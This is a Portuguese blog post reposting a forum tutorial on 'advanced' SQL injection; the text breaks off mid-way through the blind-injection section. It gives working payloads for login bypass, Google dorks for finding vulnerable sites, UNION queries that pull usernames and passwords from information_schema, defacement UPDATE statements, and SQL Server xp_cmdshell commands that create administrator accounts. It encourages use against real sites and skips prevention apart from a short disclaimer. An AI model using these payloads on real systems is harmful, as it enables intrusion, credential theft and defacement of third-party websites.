domingo, 22 de janeiro de 2012

Tutorial SQL Injection Avançado

Olá caros leitores, venho apresentar um dos melhores tutoriais que ja li sobre SQL I.
Este Grande Tutorial foi feito pelo nosso amigo Oraculo Zeus, creio que vocês irão aprender muito.

Com a popularização da internet e o crescimento dos diversos recursos foi
possível a criação de sites interativos e também, páginas de cadastro de
serviços diversos.
As informações colhidas em cadastros são gravadas em bancos de dados.
Bancos de dados são um conjunto de tabelas que armazenam informações,
lembrando que podem ser desde Nome e Idade até CPFs, números de cartão de crédito etc.
Mas, para haver comunicação entre a página e o banco de dados, é necessária uma linguagem extra. Nesses tempos atuais “de sofrimento e tortura”, a linguagem para bancos de dados mais usada em todo o mundo é a SQL.
SQL significa Structured Query Language, ou Linguagem de Consulta
Estruturada.
Surgida na década de 70, a SQL foi inicialmente criada pela IBM, mas logo
surgiram diversas variações da linguagem, criadas por outras empresas. Já ouviu falar em MySQL e Oracle e não sabia o que era? São as variações da SQL original, criadas pela MySQL AB e pela Oracle Corporation, respectivamente.
A SQL Injection, ou seja, “Injeção de SQL” é uma técnica muito fácil e também muito poderosa. Não são necessários scanners para achar sites vulneráveis e os comandos são enviados diretamente no navegador.
Isso faz da SQL Injection uma ótima técnica. O único pré-requisito para usar tal técnica é um conhecimento básico de SQL.
Aprendendo SQL
Os comandos em SQL são todos em inglês e não são complicados. Esse é o
motivo de ser a linguagem de bancos de dados mais usada no mundo. É esse também o motivo que favorece um invasor
Os comandos que você precisa saber para fazer SQL Injection são:
SELECT – Busca alguma informação do banco de dados e exibe;
INSERT – Insere informações do banco de dados;
DELETE – Apaga informações do banco de dados;
UPDATE – Atualiza, ou seja, sobrescreve uma nova informação.
As principais cláusulas, geralmente usadas com o SELECT, são:
FROM – Especifica a tabela de onde serão retiradas informações.
WHERE – Significa AONDE.
HAVING – Significa TENDO.
ORDER BY – Usado para ordenar algum resultado.
Os operadores lógicos são:
OR – Significa OU
AND – Significa E
NOT – Significa NÃO
Os principais operadores de comparação são:
< – Significa MENOR
> – Significa MAIOR
<> – Significa DIFERENTE
<= – Significa MENOR OU IGUAL
>= – Significa MAIOR OU IGUAL
= - Significa IGUAL
LIKE – Significa PARECIDO.
——————————————————————————————————-
Nota
No operador LIKE usamos o sinal de porcentagem %. O % significa qualquer valor que esteja antes ou depois da palavra fornecida. Não confunda com asterisco (*)!
O % é somente usado no LIKE!
Strings são escritas entre aspas (‘ e ’);
Números são escritos normalmente;
Datas são escritas entre jogo-da-velha (#);
Quando quiser especificar mais de alguma coisa, use parênteses.
——————————————————————————————————-
Nada melhor do que alguns exemplos para entender como funcionam as coisas.
Aqui vão alguns exemplos:
SELECT Usuário FROM Cadastro
SELECT * FROM Cadastro
SELECT Nome,Idade,Telefone FROM Cadastro
SELECT Nome,Idade FROM Cadastro WHERE Idade >= 18
SELECT Nome,CPF FROM Cadastro WHERE Nome LIKE %Fulano%
SELECT * FROM Cadastro ORDER BY Nome
INSERT INTO Cadastro (Nome,Idade) VALUES (‘Fulano’,24)
INSERT INTO Cadastro (Data,Rua) VALUES (#01-01-2008#,‘Rua dos Mortos’)
DELETE Nome FROM Cadastro
DELETE (Nome,Idade,Telefone) FROM Cadastro
DELETE Nome FROM Cadastro WHERE Nome LIKE %Fulano%
UPDATE Nome FROM Cadastro SET Nome=‘Beltrano’ WHERE Nome=‘Fulano’
UPDATE Nome FROM Cadastro SET Nome=‘Fulano’ WHERE Nome LIKE %Beltrano%

Traduzindo
Lembrando que SQL é puro e simples inglês, não é tão difícil entender os
exemplos acima.
SELECT Usuário FROM Cadastro” é a mesma coisa que falar ao banco de dados “Mostre a coluna Usuário da tabela Cadastro”. É também possível fazer o inverso, criar a consulta em língua normal e depois transcrever em SQL.
Essa tradução se trata do que em programação é chamado pseudo-código.
Um Pouco de Prática
Supondo que eu esteja dentro de uma página que usa a SQL para processar o login. Temos o campo de usuário e o campo de senha.
Estamos em uma página ASP (algumas são em PHP) e o código para capturar as entradas no formulário são:
campo_usuario = Request.Form(“usuário”)
campo_senha = Request.Form(“senha”)

A parte mais importante do código da página é:
SELECT (usuario,senha) FROM cadastro
WHERE usuario=’ & campo_usuario & ‘ AND senha=’ & campo_senha & ‘

Essas, você já deve ter percebido, são instruções SQL. Para os que não
conseguem traduzir, o código compara os dados fornecidos no formulário com os dados que estão guardados no banco de dados. Se o usuário e a senha batem, é efetuado o login na página.
Ótimo, temos um formulário simplíssimo de login numa página ASP usando SQL, com segurança. Com segurança? E o que acontece se digitarmos código malicioso, como ’ OR ‘1’=‘1, nos campos de usuário e senha? Vamos ver. O código em SQL executado seria esse:
SELECT (usuario,senha) FROM cadastro
WHERE usuario=’ ‘ OR ‘1’=’1 ‘ AND senha=’ ‘ OR ‘1’=’1 ‘

Vamos fazer uma tradução: “Pegue usuario e senha da tabela cadastro, aonde usuario é vazio ou verificar se 1 é igual a 1 e aonde senha é vazio ou verificar se 1 é igual a 1”, ou seja, ele procura por um campo vazio, ou verifica se 1 é igual a 1. Como 1 é igual a 1, ele entra como administrador, pois estávamos na página de login para administradores.
Em alguns casos, os administradores criam um campo vazio no banco de dados para testes e isso pode furar com sua invasão.
Aqui vão algumas strings:
’ OR ‘1’=‘1
’ OR ‘a’=‘a
’ OR ‘1
’ OR ‘’=‘

——————————————————————————————————-
* Não vou me aprofundar aqui por já haver outras explanações em post’s aqui no fórum
——————————————————————————————————-

Tente traduzir as strings e entender o que elas fazem na página.
[COLOR="Blue"]Quem Procura Acha[/COLOR]
Como o login é feito em páginas da web, podemos usar o Google para achar
páginas vulneráveis. Google tem vários truques, comandos escondidos que a maioria não usa. Como profissionais da área, nós a usamos.
Um destes comandos é o allinurl. Ele serve para retornar somente páginas que tenham determinados termos na URL. Aqui vão alguns exemplos:
allinurl:”admin/index.asp”
allinurl:”admin/login.asp”
allinurl:”admin/default.asp”
allinurl:”admin/admin.asp”

——————————————————————————————————-
* Não vou me aprofundar aqui por já haver outras explanações em post’s aqui no fórum
——————————————————————————————————-

(In)Felizmente, as páginas vulneráveis a SQL Injection estão ficando mais raras, mas ainda é possível achar uma e outra. Verifique página por página.
Prevenção
Preferi não indicar links, matérias ou comentários sobre prevenção (abordarei sobre o assunto em uma outra ocasião), também é preferível que se obtenha informações diretamente de outros autores aqui no forum ou na net (assim valorizamos os esforços de outros profissionais).
Advanced SQL Injection
Na matérias anteriores os caros leitores tiveram uma pequena introdução à SQL Injection (SQL); não foi grande coisa e o modo pelo qual injetávamos SQL, em campos, e para efetuar login está praticamente extinto. É com dificuldade que encontramos sites vulneráveis a técnica, como foi ensinada. Mesmo assim, é muito ignorante aquele que diz que a SQL Injection está morta. O que aconteceu foi que os administradores e web masters captaram a mensagem de que seus sistemas com campos eram vulneráveis e passaram a usar filtros.
Então a SQL Injection estava acabada, estagnada, esgotada e destruída?! Errado! Os administradores se esqueceram de que não são apenas os campos de login que usam SQL…
Nesses sites de empresas e de prefeituras, temos, como exemplo de página que requisita banco de dados, um portal de notícias. Na verdade, não é um requisito usar DBs (Data Base[s]), já vi alguns sites que usam páginas diferentes para as notícias, mas voltemos ao assunto…
As duas principais linguagens de programação voltadas à internet, tirando o HTML e o CSS, obviamente, são o PHP e o ASP. O PHP é uma iniciativa gratuita, criada por Rasmus Lerdof. Já o ASP é uma iniciativa paga criada pela Microsoft.
Na verdade, ambos não são apenas uma linguagem, mas sim todo um sistema que permite um scripting de qualidade. Ao menos, o PHP sim…
Reconhecer a linguagem no qual o portal de notícias é escrito é muito fácil.
Eu nem ia explicar isso, mas vamos dar uma ajudinha aos iniciantes…
Páginas em PHP tem a extensão .php:
Páginas em ASP tem a extensão .asp:
Sem exceção, os servidores que rodam .asp funcionam sob o Windows, por motivos óbvios: o ASP é feito pela Microsoft. Normalmente, usam o SQL Server, também da Microsoft, porém é possível que usem MySQL.
Já os servidores .php geralmente estão no GNU/Linux, usando MySQL, embora possam existir servidores que suportam PHP no Windows.
Basicamente, a linguagem que é utilizada é o SQL, porém toda a plataforma muda, sendo assim, técnicas como a utilização do LIMIT, em MySQL, não funcionam em SQL Server.
Os contrastes podem ser grandes no próprio site. Por exemplo, na maioria dos sites não há filtros contra esse tipo de SQL, porém alguns tem e podem ser burlados através de codificação e de Blind SQL Injection.
Quem nem ao menos sabe do que estou falando, não se preocupe, tudo será ensinado!
Comecemos, então
A técnica de SQL que utilizaremos é baseada na exploração do banco de dados através de erros exibidos, permitindo coletar informações como logins, senhas, endereços de e-mail e em alguns casos (sob SQL Server) executar comandos como se estivéssemos no prompt de comando.
Também nos permite efetuar defacement, entre várias outras opções.
Enfim, podemos utilizar todo o poder da SQL e fundi-la com XSS.
Encontrar páginas vulneráveis à SQL é muito fácil. Uma das melhores
ferramentas existentes para isso e de fácil acesso é o próprio Google, o mesmo buscador que utilizamos todos os dias para fazer trabalhos escolares e encontrar fotos, músicas, videos, etc… apesar de que para imagens é melhor desativar o SafeSearch…
Pois bem, as páginas que usam GET, ou seja, utilizam a URL para passar parâmetros são nas quais mais facilmente injetamos SQL. Sendo assim, o recurso inurl do Google é muito útil.
Em teoria, todas as páginas que utilizam SQL e não têm filtros estão vulneráveis à SQL, então, para encontrá-las, basta procurar páginas que obrigatoriamente usam SQL como portais de notícias por exemplo. Normalmente nestes portais; para facilitar o acesso, cada notícia recebe um ID e é a partir dele que injetaremos comandos SQL.
Sendo assim, as das muitas strings de busca no Google seriam:
inurl:”noticias.php?id=”
inurl:”noticia.php?id=”
inurl:”ver_noticia.php?id=”
inurl:”ver.php?id=”
inurl:”abrir.php?id=”
inurl:”mostrar.php?id=”

Estes são só pequenos exemplos. (Lembrando que também existem páginas vulneráveis em ASP, sendo assim, a string deve ser adaptada).

Para descobrir a vulnerabilidade, basta uma aspa simples ( ) atrás do ?id=.
Se o sistema estiver utilizando MySQL e estiver vulnerável, o erro será este:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘‘‘ at line 1.
——————————————————————————————————-

Porém, se estiver utilizando SQL Server, este será o erro:
——————————————————————————————————-
Unclosed quotation mark after the character string ‘‘.
——————————————————————————————————-

Se nenhum erro for exibido, simplesmente a página não está vulnerável ou a abordagem deve ser melhor estruturada, ou seja, feita de meios diferentes. Às vezes, não serão exibidos erros a partir da simples inclusão do apóstrofo, mas serão de outros modos.
Algumas dicas são apagar o valor do ID e por o apóstrofo, ou substituir o valor do ID por null, não exibindo nenhuma notícia. Eu pessoalmente aprecio muito o null.
Também pode acontecer de a página estar vulnerável, mas não exibir esse erro, sendo necessária, como já disse, uma abordagem melhor feita.
Bom, não se preocupe se não encontrar uma página vulnerável na primeira tentativa, afinal, SQL Injection, com todos os seus modos de injeção, é a segunda vulnerabilidade mais popular em páginas da internet, perdendo apenas para XSS.
Páginas vulneráveis a SQL são extremamente comuns!
Expliquemos como faremos o sistema exibir um erro utilizando a aspa simples.
Pouparei a demasia nas explicações, até porque já abordei um pouco das SQL queries em outra ocasião.
Supondo que a query inicial seja:
SELECT noticia, data, autor FROM database.noticias WHERE id=’100′
E estamos pondo um apóstrofo, esta será a query:

SELECT noticia, data, autor FROM database.noticias WHERE id=’100”

O sistema vai tentar obter a notícia, a data, e o autor da notícia através da ID 100 e vai definir outra variável sem nome com a aspa simples do próprio sistema, ou seja, estamos fazendo uma operação impossível, e por isso o sistema acusa o erro. Tanto é que o SQL Server acusa unclosed quotation, “citação” aberta.
Conceitos de Bancos de Dados
Depois de encontrar uma página vulnerável, podemos começar a explorar o banco de dados. Antes de explorá-lo é necessário saber como funciona. Cada site pode ter uma ou mais conexões de bancos de dados, cada banco de dado pode ter uma ou mais tabelas, e cada tabela é divida em linhas e colunas.
Imagine que cada tabela é como uma planilha no Excel ou no Math.
Note que nos exemplos desta página, a query pede as colunas noticia, data e autor, da tabela noticias no banco de dados database.
Aprendendo SQL
Nas matérias anteriores eu já tinha abordado uma parte dos comandos que podemos utilizar em SQL e agora aqui estão mais alguns que serão necessários para os nossos trabalhos:
UNION – é usado para combinar o resultado de SELECT;
ORDER BY – ordena as colunas utilizando como critério uma coluna;
HAVING – “tendo”, ou seja, ser tiver certo critério!
Felizmente, na prática tudo se torna mais esclarecido.
MySQL
Tomemos como exemplo fictício um site cujo endereço é http://site.com.br. Neste site temos várias páginas, e uma delas é a noticias.php.
Acessando o endereço http://site.com.br/noticias.php?id=10’ recebemos o seguinte erro:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘‘‘ at line 1.
——————————————————————————————————-

Isso significa que está vulnerável. Se aparecer, ótimo, se não aparecer, não desista! É extremamente comum encontrar sites em PHP que não exibem a mensagem e estão vulneráveis. De qualquer modo, vale a pena tentar se aprofundar antes de simplesmente largar o site. Na verdade, esse passo não é estritamente necessário…
Com um site em mãos, vamos encontrar o número de colunas da tabela que está sendo usada para guardar as notícias, e a partir daí descobrir mais sobre o banco de dados inteiro. Utilizaremos o ORDER BY para tanto.
Vamos tentar número por número até chegar ao número certo de colunas, adicionando o seguinte após a URL , sem o que estiver entre os parênteses:
order by 2 — (notícia exibida)
order by 3 — (notícia exibida)
order by 4 — (notícia exibida)
order by 5 — (notícia exibida)
order by 6 — (erro)

Quando a notícia não é exibida, temos o seguinte erro:
——————————————————————————————————-
Unknown column ‘6’ in ‘order clause’
——————————————————————————————————-

Sabemos agora que a nossa tabela tem apenas cinco colunas – geralmente temos mais, já encontrei sites com dez colunas na tabela – podemos utilizar o UNION para explorar o banco de dados inteiro.
É possível deduzir que em uma query do tipo SELECT título, texto, autor, os resultados serão exibidos na página.
Com o UNION descobrimos quais resultados são exibidos na página e vamos substituir os resultados por qualquer outra query.
A partir de agora é interessante substituir o número do id da notícia por null, que não irá retornar nenhuma notícia e irá facilitar/permitir nosso trabalho.
Mas antes de descobrir o resto do sistema de MySQL, é racional descobrir o banco de dados em que estamos, afinal, imagine um site com mais de uma conexão de banco de dados criada pelo administrador, em qual estamos?
Utilizemos o seguinte esquema, após a URL:
null union select 1,2,3,4,5 from NOTEXIST –
Um erro semelhante a este é exibido:
Table ‘database.NOTEXIST’ doesn’t exist
O que acabamos de fazer é requisitar uma tabela que não existe, sem definir a conexão de banco de dados a que ela pertence, e o sistema, por padrão, adota a conexão atualmente utilizada, que no caso é database. Os dois traços no final, são sinais de comentários em SQL MySQL, para ignorar o resto da query que geraria um erro por causa do apóstrofo de fechamento.
Agora já podemos descobrir mais sobre o banco de dados em que estamos, inclusive possíveis tabelas que guardam informações de login. Para tanto, necessitamos descobrir que resultados de query são exibidos na página; utilizemos esta forma:
null union select 1,2,3,4,5 –
Os resultados variam de página para página, mas seria exibido algo como isso:
——————————————————————————————————-
Notícias
2
2 //1
3
——————————————————————————————————-

Outro exemplo de “displaying” é este:
——————————————————————————————————-
Notícias

5 – 2
4
———————————————————
+ FOTOS (clique na foto para ampliar)
———————————————————
Outras Matérias:
Ø 4/1/1933 – 3
——————————————————————————————————-
Então, escolhemos um ou mais números que são exibidos para explorar todo o sistema de banco de dados.
Supondo que na tela sejam exibidos 1, 2 e 3, como no primeiro exemplo, então usaremos na URL os lugares respectivos ao 3 para nossos objetivos e os outros números, mesmo o 4 e o 5, substituímos por null, ou não…
A Sun, que produz o MySQL quis facilitar o trabalho dos hackers administradores criando um banco de dados que armazena praticamente todas as informações interessantes, como nomes de conexões de bancos de dados, tabelas, colunas entre outras. A partir da versão 5.0 do MySQL temos a DB information_schema, que é amplamente utilizada em SQL.
Dentro da information_schema, temos as tabelas tables e columns que são muito importantes, creio que não seja necessário explicar o que elas guardam; dentro delas, há colunas que guardam todos os nomes de tabelas e colunas do sistema.
Além disso, há uma tabela em especial, que guarda a DB das tabelas e colunas definidas pelo administrador, a table_schema, que também será utilizada.
Primeiramente, vamos descobrir se estamos em um site com o MySQL anterior à 5.0, utilizando o seguinte depois da URL:
null union select 1,2,@@version,4,5 –
Resumidamente, o @@version é uma variável global que guarda a versão do sistema de banco de dados. Baseados nos resultados, que sempre tem o número da versão, temo-no…
Se estamos em um site que utilize 5.0 ou posteriores, ótimo. Se não, então teremos que chutar os nomes das tabelas, seguindo padrões de administração, e todo o papo que se refere à information_schema é inútil.
Alguns exemplos de @@version:
——————————————————————————————————-
5.0.67 –community

5.0.67 –community //1
3
——————————————————————————————————-
——————————————————————————————————-
//2
3

5.0.67 -community
——————————————————————————————————-
Comecamos descobrindo as tabelas no banco de dados que já descobrimos, o database, adicionando o seguinte à URL com o null que estávamos usando:
null union select 1,2,table_name,4,5 from information_schema.tables where table_schema=’database’ limit 0,1 –
Não é preciso dizer, é pedido um nome de tabela à information_schema.tables, quando a DB for database. Se tudo correr bem, teremos um nome de tabela:
——————————————————————————————————-
5 – 2

artigos
——————————————————————————————————-
Perfeito, descobrimos uma tabela, mas o nome dela é noticias, seu conteúdo, deduzimos, não é muito útil para nós, a menos que queiramos fazer um defacement.
Sobre o defacement, é preciso descobrir as colunas da tabela, isso nós veremos adiante.
E agora, como fazemos para descobrir mais tabelas?
Note que na query anterior, utilizei limit 0,1 no final. O limit servirá como um cursor entre as tabelas. Para avançar para a próxima tabela, utilizamos limit 1,1, depois limit 2,1 e assim sucessivamente, até encontrar todas as tabelas.
Supondo que tenhamos encontrado as tabelas “noticias”, “discursos”,
“compromissos”, “login” e “teste”. É altamente deduzível o conteúdo de cada uma, e basta prestar um pouco de atenção para perceber que os usuários e senhas estão armazenados na tabela login…
Agora será necessário descobrir as colunas de cada tabela, já que sem as colunas (onde estão guardados os dados e logins), não conseguimos obter dados. Seria como tentar acertar o meio de um alvo, sem a “mosca”.
Obter os nomes das colunas é muito parecido com obter as tabelas:
null union select 1,2,column_name,4,5 from information_schema.columns where table_name=’login’ limit 0,1 –
E assim utilizamos o LIMIT novamente como cursor.
Ótimo, temos o nome de todas as tabelas, e as colunas da(s) tabela(s) que nos interessa(m), muito bom, e agora, como fazer para obter usuários e senhas, de nossa conhecida tabela login, supondo que descobrimos as colunas user, pass e privileges?
Quase terminando a parte que aborda o MySQL, permita-me ensinar como obter “linhas” de cada coluna da tabela, isto é, o que nos interessou desde o início. Fique sabendo que, encontrou sites vulneráveis, brincou com as tabelas e enfim, entendeu tudo que foi passado, meus parabéns. Para mim não foi tão fácil assim!
Bem, voltando ao objetivo…
Nós estávamos fazendo queries às tabelas do sistema, que para os nossos fins – e não nossos meios – de nada nos interessam. Então, a estrutura da query é a mesma.
null union select 1,2,user,4,5 from database.login –
Ótimo, obtemos um usuário, fulano.
Para obter a senha, como deve saber:
null union select 1,2,pass,4,5 from database.login where user=’fulano’ –
E está lá a senha. Para obter os privilégios, conteúdo da coluna privileges:
null union select 1,2,privileges,4,5 from database.login where user=’fulano’–
Cansativo pegar usuário com uma query, senha com outra query e privilégios com outra? Podemos (tentar) concatenar todos, e obter todos de uma tacada só:
null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login –
O limit ainda é válido nestes casos, podendo usar como cursor.
Supondo que já saibamos o nome de usuário, ou deduzimos a partir de qualquer lugar, que parte do nome de usuário é admin… Podemos usar o like:
null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login where user like ‘%admin%’ –
E assim, obtemos o usuário e a senha do administrador, cujo usuário seria; no exemplo, algo parecido com admin.
Bom, podemos obter senhas de usuários do site, ou podemos efetuar um defacement, para deixar a nossa assinatura.
Neste caso…
Neste caso, antes de qualquer coisa, devemos definir a tabela que queremos atacar. Supondo que queiramos modificar uma notícia, a mais recente, para uma mensagem como 6SÃOLAMMAH, primeiro, vamos descobrir quais colunas tem a tabela notícias, aquela em que estávamos no começo:

null union select 1,2,column_name,4,5 from information_schema.columns where table_name=’noticias’ limit 0,1 –

E aí, utilizamos o LIMIT como cursor novamente. Depois de descobrir todas as colunas, que em nosso exemplo seriam algo como id, titulo, texto, autor e data, nós podemos modificar o que queremos com o comando update.
Nesse caso, não estamos mais fazendo queries ao sistema. Agora vamos modificar o banco de dados, e por isso, devemos fechar a query que utilizava o id para se orientar.
Vamos utilizar um ID novo, atribuído a uma notícia fresquinha, para que ninguém tenha que pegar alguma das primeiras notícias para visualizar a sua “arte”. Supomos que este ID seja 1000, e montamos assim, atrás do ?id=:
null update noticias set texto=’6SÃOLAMMAH’ where noticias.id=1000 –
No exemplo, o que fazemos é fechar a string que pega o id, e através do ponto-e-vírgula, passamos outros comandos ao banco de dados. Sendo assim, ao menos em teoria, temos um defacement.
Fazer um deface pode e deve ser mais completo, então, deveríamos ao menos alterar o título da notícia e incrementar nosso texto com alguma coisa em HTML, para que o usuário tenha a sensação de que o “hacker” teve estilo, e não foi apenas idiota.
Quem se ligou agora, deve ter percebido que poderia utilizar algumas funções do PHP para reavivar uma antiga técnica, hoje em desuso, a dita PHP Injection que eu nem pretendo abordar na revista, por estar morta e por ter conteúdo sobrando pela internet…
Mas é isso!
Lembrando que não estou incentivando ninguém a cometer qualquer ato comprometedor, anti-ético ou ilícito, e assim, me isento de qualquer responsabilidade. É muito mais inteligente avisar o administrador que o site dele está vulnerável. O triste é fazer isso quando o administrador e o dono do site são a mesma pessoa, e ainda por cima, um web master, como já aconteceu comigo…
SQL Server
O SQL Server é um produto da Microsoft, sendo assim geralmente roda sob páginas .asp e obrigatoriamente, roda em Windows, já que creio que a Microsoft não vai criar uma versão da sua plataforma para o GNU/Linux...
Considero-o mais fácil de se explorar que o MySQL, não que o adversário seja difícil de explorar, mas falhas em SQL Server permitem causar mais estragos mais facilmente. Posteriormente veremos o motivo.
O esquema de verificação de vulnerabilidade é semelhante ao das plataformas MySQL, a aspa simples e a aspa dupla – e em alguns casos, parênteses e outros caracteres comuns de fechamento. Bom, se não tinha se ligado nisso…
Nos primeiros passos o que mudam são os erros.
Novamente, tentando fechar a string utilizando uma aspa simples, com
http://site.com.br/noticias.asp?id=null’, recebemos:
——————————————————————————————————-
Unclosed quotation mark before the character string ‘‘.
——————————————————————————————————-

Ao contrário do MySQL que é muito comum inserirmos aspa e não retornar nenhum erro, e mesmo assim o site estar vulnerável, no SQL Server é comum exibir o erro “na cara dura”. MySQL 1 x 0 SQL Server.
No SQL Server, vamos trabalhar um pouco diferente do que no MySQL, e podemos explorar diretamente a tabela em que estamos:
http://site.com.br/noticias.asp?id=null having 1=1 –
Surge algo tipo:
——————————————————————————————————-
Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.id’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Assim, conseguimos uma coluna da nossa tabela!
Para descobrir mais sobre a tabela das notícias, utilizamos a cláusula group by. Assim, injetamos:
http://site.com.br/noticias.asp?id=null group by noticias.id having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.titulo’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Agora, atrás do .asp?id=:
null group by noticias.id,noticias.titulo having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.texto’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

null group by noticias.id,noticias.titulo,noticias.texto having 1=1–
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.autor’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.data’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Acabamos. Se executarmos isso:
null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor,noticias.data
having 1=1 –

——————————————————————————————————-
The text, ntext, and image data types cannot be compared or sorted, except
when using IS NULL or LIKE operator.
——————————————————————————————————-

Sobre esses group by nós podemos, ao invés de utilizar
noticias.id,noticias.etc, podemos também usar simplesmente id,etc, ou seja, não colocamos a tabela na frente. Porém, se existir a mesma coluna em outra tabela, com certeza teremos erros.
Agora, se quisermos, já podemos fazer um defacement:
null update noticias set texto=’6SÃOLAMMAH’ where noticias.id=1000 –
Bom, mas me diga, qual a utilidade do defacement?
Como já estamos bem afiados a esta altura do campeonato, não creio que valha a pena mostrar como obter senhas, porém… o limit não existe em SQL Server.
Ao invés de utilizar o limit, vamos usar uma query com top e not exist para explorar o banco de dados.
null union select top 1 1,2,user,4,5 from database.login where user not exist (select top 0 user from database.login)
O que acabamos de fazer é utilizar o top, que pega a linha x da coluna user, se este resultado não estiver em outra query semelhante, mas com o x-1.
A nossa próxima query seria:
null union select top 2 1,2,user,4,5 from database.login where user not exist (select top 1 user from database.login)

Como vemos, o limit realmente faz falta, mas nada que um cérebro e algumas outras funções não resolvam. Na verdade, o esquema é bem parecido com o limit, mas muda um pouco…
Agora que já aprendemos a explorar o banco de dados, vamos explorar o resto do sistema. Sim, em um servidor existe mais que um banco de dados…
Temos todo um sistema operacional, que a partir de SQL Injection, pode se tornar nosso, ou melhor, podemos tomar conta…
Agora que aprendemos como explorar o banco de dados, permita-me ensinar uma “falha de projeto” do SQL Server, que permite a execução remota de comandos, os mesmos comandos que se digitaria no prompt de comando.
Ou seja, a partir de agora, você terá poder sobre servidores SQL Servers vulneráveis a SQL. MySQL 2 x 0 SQL Server
No SQL Server existe uma função que executa comandos como se o
administrador estivesse em um prompt de comando, o tal do xp_cmdshell.
Supondo que o administrador queira testar a comunicação, ele pode dar um ping em loopback utilizando:
exec master..xp_cmdshell ‘ping localhost’;
Para o invasor, o esquema muda um pouco; estamos de intrusos no sistema e precisamos construir um query que execute esse xp_cmdshell.
Assim, atrás de um id, digitamos:
exec master..xp_cmdshell ‘ping localhost’;
E pronto, o servidor dá ping em loopback.
“Para que isso poderia ser útil?! Que comandos executo?!”
Permita-me exemplificar:
net user [usuario] [senha] /add {cria um usuário no servidor remoto e permite login por telnet ou por área de trabalho remota}.

Se for utilizado em conjunto com
net localgroup Administrators [usuario] /add {adiciona o usuário ao grupo dos administradores}
Por padrão, no SQL Server 2005 o xp_cmdshell está desativado por motivos de segurança, porém, se quisermos, podemos ativá-lo:
exec sp_configure ‘show advanced options’,1
reconfigure
exec sp_configure ‘xp_cmdshell’, ’1′
reconfigure

Lembrando que temos que adequar isso à query para SQL Injection.
Blind SQL Injection
Agora que já aprendemos o básico da SQL e já temos o mínimo de maturidade nesse tipo de técnica, podemos aprender sobre Blind SQL Injection. Antes, de começar, eu gostaria de fazer duas considerações.
A primeira é quanto a origem do nome “blind SQL injection”. Blind, em inglês, é um adjetivo que significa “cego”; isto quer dizer que não usamos os erros comuns para explorar o banco de dados.
A segunda, é que Blind SQL é um pouco mais difícil de entender e demorada que a Advanced SQL comum.
A Blind SQL surgiu da necessidade de burlar ou bypass um “filtro” utilizado por alguns web masters. Colocando-se um sinal de arroba (@) atrás da função que pega os dados, os erros que esta função poderia exibir são ocultos. Normalmente, isso dá uma certa impressão de segurança ao web master que não entende as possibilidades da Blind SQL Injection.
O que fazemos na Blind SQL é utilizar o operador AND para comparar o resultado de uma query com o ID, e retornar os valores booleanos TRUE ou FALSE.
Para descobrir a vulnerabilidade, utilizamos de cara o AND:
http://site.com.br/noticia.php?id=1 and 1=1
http://site.com.br/noticia.php?id=1 and 0=1

O primeiro, caso o site esteja vulnerável, retorna o valor TRUE – já que 1 sempre é igual a 1 – e exibe a página corretamente. No segundo endereço fictício, o site não retornaria uma página “coerente” com o site, já que o resultado sempre é FALSE.
Concluímos que o nosso site fictício está sim vulnerável a Blind SQL e vamos partir para cima dele. Como é um portal de notícias que usa IDs para “linkar” as notícias e é um site brasileiro – que fala português – é provável que a tabela que guarda as notícias seja algo como noticia, noticias, noti, news e muitos outros padrões de administração.
Para explorar o banco de dados, nós vamos utilizar o AND da mesma forma, porém, vamos verificar se um é igual ao resultado de alguma query. Basicamente, é assim que funciona Blind SQL.
O problema de sempre é que não conseguimos visualizar nomes de databases, tabelas e colunas via information_schema ou via sysobjects, e sempre temos que “chutar” o nome…
Primeiramente, vamos descobrir o nome de algumas tabelas.
http://site.com.br/noticias.php?id=1 and 1=(select * from noticias)
Neste caso, seguindo as tabelas que usei como exemplo anteriormente, a página seria exibida normalmente, indicando que de fato existe a tabela noticias. Sabendo disso, poderíamos testar n nomes de tabelas para descobrir qual a tabela que guarda os nomes de usuários e senhas. Não muda muita coisa para capturar nomes de colunas:
http://site.com.br/noticias.php?id= 1 and 1=(select texto from noticias)
Se a coluna texto existir, então a página da notícia 1 é exibida.
Agora já poderíamos efetuar um defacement:

http://site.com.br/noticias.php?id=1000 and 1=(update noticias insert set texto=’6SÃOLAMMAH’ where noticias.id=1000)

Provavelmente, a página já será exibida com o novo texto.
Mas como vivo dizendo, para fins didáticos, o defacement não acrescenta nada.
Caso esteja interessado em expor suas idéias, tente fazer algum outro tipo de protesto…
Agora o objetivo é capturar alguma conta e senha de algum usuário.
Depois de algumas tentativas, descobrimos a tabela que contém os nomes de usuários, senhas e outras informações que não são tão interessantes para nós, cujo nome é login.
Descobrimos também que ela tem as colunas user, pass e privileges por métodos citados anteriormente.
Para descobrir o conteúdo de alguma coluna é um pouco mais difícil, visto que temos que testar os caracteres um por um em valor ASCII.
Vamos utilizar então as funções ascii() e substring().
Supondo que eu tenha algum nome de usuário em mãos, qualquer que seja o meio pelo qual o consegui, basta eu pegar a senha. No exemplo, o usuário seria vitima e a suposta senha, senha, sem números e de apenas letras. O correto seria utilizar letras maiúsculas e minúsculas em senhas, mas isso quase nunca acontece, então podemos testar apenas com letras minúsculas.
Vamos dividir o alfabeto ao meio, pegando o caractere “m” (109) e checando se a primeira letra da senha está acima ou abaixo de “m”:
